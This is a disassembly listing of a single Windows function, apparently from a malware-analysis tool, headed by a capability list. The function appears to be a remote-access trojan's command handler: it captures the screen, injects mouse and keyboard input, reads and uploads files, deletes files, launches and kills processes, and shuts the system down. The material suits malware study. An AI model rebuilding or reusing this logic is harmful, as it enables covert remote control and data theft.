Function at 0x402df0
Capabilities:
Create process on windows
Create thread
Delete file
Get disk information
Read and send data from client to server
Read file on windows
Send data
Send data on socket
Shutdown system
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407940
mov eax, dword fs:[0]
push eax
sub esp, 0x88c
mov eax, dword [0x40c008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x87c], edi
mov cl, byte [edi + 0x10]
movsx eax, cl
add eax, 0x7c
cmp eax, 0xf3
ja case.0x402e41.118
movzx eax, byte [eax + 0x4036f8]
jmp dword [eax*4 + 0x4036a0]
mov esi, dword [edi + 0x14]
lea eax, [ebp - 0x82c]
push 0
push eax
lea eax, [ebp - 0x814]
mov dword [ebp - 0x82c], 1
push eax
mov dword [ebp - 0x828], 0
mov dword [ebp - 0x824], 0
mov dword [ebp - 0x820], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
xor al, al
mov ecx, 0x40c018
xchg byte [ecx], al
push 0
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ebx, eax
push 8
push ebx
call esi
push 0xa
push ebx
mov dword [ebp - 0x880], eax
call esi
mov dword [ebp - 0x898], eax
test ebx, ebx
je 0x402f57
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebp - 0x898]
mov esi, eax
push dword [ebp - 0x880]
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push esi
mov dword [ebp - 0x894], eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov cl, byte [0x40c018]
test cl, cl
jne 0x402f3f
mov edi, dword [ebp - 0x894]
nop
push 0xcc0020
push 0
push 0
push ebx
push dword [ebp - 0x898]
push dword [ebp - 0x880]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push ecx
mov ecx, edi
call fcn.00404190
add esp, 4
test eax, eax
jne 0x402f39
mov al, byte [0x40c018]
test al, al
je 0x402f00
mov edi, dword [ebp - 0x87c]
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push ebx
call esi
push dword [ebp - 0x894]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [ebp - 0x814]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
jmp case.0x402e41.118
mov al, 1
mov ecx, 0x40c018
xchg byte [ecx], al
jmp case.0x402e41.118
mov eax, dword [edi + 0x14]
mov ecx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
test eax, eax
je 0x402f87
mov ebx, dword [eax]
jmp 0x402fa0
xor ebx, ebx
call ecx
mov dword [eax], 0x16
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov eax, dword [edi + 0x14]
mov ecx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
lea esi, [eax + 4]
test esi, esi
je 0x402fab
mov esi, dword [esi]
jmp 0x402fbe
xor esi, esi
call ecx
mov dword [eax], 0x16
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov eax, dword [edi + 0x14]
add eax, 8
je 0x402fd9
mov al, byte [eax]
mov byte [ebp - 0x81c], al
mov eax, dword [ebp - 0x81c]
mov dword [ebp - 0x894], eax
jmp 0x402ff5
mov dword [ebp - 0x894], 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [eax], 0x16
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
push esi
push ebx
call dword [sym.imp.USER32.dll_SetCursorPos]
push 0
push 0
push esi
push ebx
push dword [ebp - 0x894]
call dword [sym.imp.USER32.dll_mouse_event]
jmp case.0x402e41.118
mov eax, dword [edi + 0x14]
mov ecx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
test eax, eax
je 0x403025
mov ebx, dword [eax]
jmp 0x40303e
xor ebx, ebx
call ecx
mov dword [eax], 0x16
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
mov eax, dword [edi + 0x14]
mov ecx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
lea esi, [eax + 4]
test esi, esi
je 0x403054
mov esi, dword [esi]
push esi
push ebx
call dword [sym.imp.USER32.dll_SetCursorPos]
jmp case.0x402e41.118
xor esi, esi
call ecx
mov dword [eax], 0x16
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
push esi
push ebx
call dword [sym.imp.USER32.dll_SetCursorPos]
jmp case.0x402e41.118
mov eax, dword [edi + 0x14]
push 0
push dword [eax + 4]
movzx eax, byte [eax]
push 0
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x402e41.118
lea eax, [ebp - 0x810]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je case.0x402e41.118
cmp word [ebp - 0x810], 0
lea esi, [ebp - 0x810]
je case.0x402e41.118
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4030c0
sub ecx, edx
mov edx, esi
sar ecx, 1
push 0
push 0
push 0x30
lea eax, [ecx + ecx]
mov ecx, dword [0x40c570]
push eax
call fcn.00402c60
mov ecx, esi
add esp, 0x10
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4030f0
sub ecx, edx
sar ecx, 1
lea esi, [esi + ecx*2]
add esi, 2
cmp word [esi], ax
jne 0x4030b8
jmp case.0x402e41.118
mov ecx, dword [edi + 0x14]
call fcn.00401750
jmp case.0x402e41.118
push 0x18
call fcn.00406aa2
mov esi, eax
add esp, 4
xor al, al
mov byte [esi], 0
mov dword [esi + 0x14], 0
mov ecx, dword [edi + 8]
mov edx, dword [edi + 0xc]
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
mov ecx, dword [edi + 0x14]
mov dword [esi + 0x10], ecx
xchg byte [esi], al
push 0x40cc34
call dword [sym.imp.MSVCP140.dll__Mtx_lock]
add esp, 4
test eax, eax
je 0x403161
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
cmp dword [0x40cc30], 0x15555555
mov ebx, dword [0x40cc2c]
jne 0x40317e
push str.list_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov dword [ebp - 0x818], 0x40cc2c
mov dword [ebp - 4], 0
push 0xc
mov dword [ebp - 0x814], 0
call fcn.00406aa2
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov dword [eax + 8], esi
inc dword [0x40cc30]
mov ecx, dword [ebx + 4]
mov dword [eax], ebx
mov dword [eax + 4], ecx
mov dword [ebx + 4], eax
push 0x40cc34
mov dword [ecx], eax
call dword [sym.imp.MSVCP140.dll__Mtx_unlock]
add esp, 4
lea eax, [ebp - 0x87c]
push 0x4093f0
push dword [esi + 0x10]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
add esp, 0xc
cmp dword [ebp - 0x87c], 0
je case.0x402e41.118
push 0x4c4b40
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x40321b
push dword [ebp - 0x87c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
jmp case.0x402e41.118
mov al, byte [esi]
test al, al
jne 0x40325f
push dword [ebp - 0x87c]
push 0x4c4b40
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
jle 0x40325f
push dword [esi + 0xc]
mov ecx, dword [0x40c570]
mov edx, ebx
push dword [esi + 8]
push 0x32
push eax
call fcn.00402c60
add esp, 0x10
test eax, eax
jne 0x40325f
mov al, byte [esi]
test al, al
je 0x403221
push dword [esi + 0xc]
mov ecx, dword [0x40c570]
mov edx, ebx
push dword [esi + 8]
push 0x32
push 0
call fcn.00402c60
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0x14
push dword [ebp - 0x87c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push 0x40cc34
call dword [sym.imp.MSVCP140.dll__Mtx_lock]
add esp, 4
test eax, eax
je 0x4032a8
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
mov ecx, dword [0x40cc2c]
mov eax, dword [ecx]
cmp eax, ecx
je 0x4032e3
cmp dword [eax + 8], esi
je 0x4032bf
mov eax, dword [eax]
cmp eax, ecx
jne 0x4032b4
cmp eax, ecx
je 0x4032e3
mov edx, dword [eax + 4]
mov ecx, dword [eax]
push 0xc
push eax
mov dword [edx], ecx
mov edx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
dec dword [0x40cc30]
call fcn.00406d23
add esp, 8
push 0x18
push esi
call fcn.00406d23
push 0x40cc34
call dword [sym.imp.MSVCP140.dll__Mtx_unlock]
add esp, 0xc
jmp case.0x402e41.118
mov eax, dword [edi + 0xc]
mov ebx, dword [edi + 8]
push 0x40cc34
mov dword [ebp - 0x814], eax
call dword [sym.imp.MSVCP140.dll__Mtx_lock]
add esp, 4
test eax, eax
je 0x403323
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
mov esi, dword [0x40cc2c]
mov eax, dword [esi]
cmp eax, esi
je 0x403352
mov edi, dword [ebp - 0x814]
mov edx, dword [eax + 8]
cmp dword [edx + 8], ebx
jne 0x403346
cmp dword [edx + 0xc], edi
jne 0x403346
mov cl, 1
xchg byte [edx], cl
mov eax, dword [eax]
cmp eax, esi
jne 0x403335
mov edi, dword [ebp - 0x87c]
push 0x40cc34
call dword [sym.imp.MSVCP140.dll__Mtx_unlock]
add esp, 4
jmp case.0x402e41.118
push dword [edi]
mov edx, dword [edi + 0x14]
push dword [edi + 0xc]
push dword [edi + 8]
call fcn.00401ff0
add esp, 0xc
jmp case.0x402e41.118
push dword [edi + 0x14]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.0x402e41.118
push 0x40
lea eax, [ebp - 0x874]
mov dword [ebp - 0x878], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x890]
push eax
lea eax, [ebp - 0x878]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push dword [edi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je case.0x402e41.118
push dword [ebp - 0x890]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x88c]
call esi
jmp case.0x402e41.118
cmp cl, 0x21
jne 0x40341c
mov eax, dword [0x40c578]
test eax, eax
je case.0x402e41.118
push 0
lea ecx, [ebp - 0x814]
push ecx
push dword [edi]
push dword [edi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp case.0x402e41.118
cmp cl, 0x20
jne case.0x402e41.118
mov al, byte [0x40c574]
cmp al, 1
je case.0x402e41.118
cmp dword [0x40c578], 0
jne case.0x402e41.118
push 0
push 0
push 0
push 0x404460
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je case.0x402e41.118
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x402e41.118
mov eax, dword [edi + 0xc]
mov ebx, dword [edi + 8]
mov esi, dword [edi]
mov edi, dword [edi + 0x14]
push 0x7e0
mov dword [ebp - 0x814], eax
call fcn.00406aa2
mov ecx, dword [ebp - 0x814]
add esp, 4
mov dword [ebp - 0x894], eax
mov dword [eax + 4], ecx
lea ecx, [eax + 8]
push esi
push edi
mov dword [eax], ebx
mov dword [eax + 0x7d8], esi
call fcn.00403c20
add esp, 8
push 0
push 0
push dword [ebp - 0x894]
push 0x403cd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4034cb
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x87c]
mov eax, dword [edi + 0x14]
test eax, eax
je 0x4034e3
push 1
push eax
call fcn.00406d23
add esp, 8
push 0x18
push edi
call fcn.00406d23
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00406a94
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0xc]
mov ebx, dword [edi + 8]
mov dword [ebp - 0x814], eax
mov eax, dword [edi]
mov dword [ebp - 0x894], eax
mov eax, dword [edi + 0x14]
push 0x40cc94
mov dword [ebp - 0x880], eax
call dword [sym.imp.MSVCP140.dll__Mtx_lock]
add esp, 4
test eax, eax
je 0x403540
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
mov ecx, dword [0x40ccc4]
mov esi, dword [ecx]
cmp esi, ecx
je 0x40359f
mov edx, dword [ebp - 0x814]
mov eax, dword [esi + 8]
cmp dword [eax], ebx
jne 0x40355e
cmp dword [eax + 4], edx
je 0x403577
mov esi, dword [esi]
cmp esi, ecx
jne 0x403552
push 0x40cc94
call dword [sym.imp.MSVCP140.dll__Mtx_unlock]
add esp, 4
jmp case.0x402e41.118
mov ebx, dword [ebp - 0x894]
push 0
push ebx
push dword [ebp - 0x880]
push dword [eax + 8]
call dword [sym.imp.WS2_32.dll_send]
test ebx, ebx
jne 0x40359f
mov eax, dword [esi + 8]
push dword [eax + 8]
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x40cc94
call dword [sym.imp.MSVCP140.dll__Mtx_unlock]
add esp, 4
jmp case.0x402e41.118
call fcn.00404940
test al, al
je case.0x402e41.118
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00405c70
jmp case.0x402e41.118
mov eax, dword [edi + 0x14]
push dword [eax]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je case.0x402e41.118
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x402e41.118
lea eax, [ebp - 0x880]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x88c]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0
lea eax, [ebp - 0x890]
mov dword [ebp - 0x890], 1
push eax
push 0
push dword [ebp - 0x880]
mov dword [ebp - 0x884], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x880]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0xd
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp case.0x402e41.118
push 0
push 0
push 0
call dword [sym.imp.POWRPROF.dll_SetSuspendState]
jmp case.0x402e41.118
push 1
push 0
push 0
push dword [edi + 0x14]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp case.0x402e41.118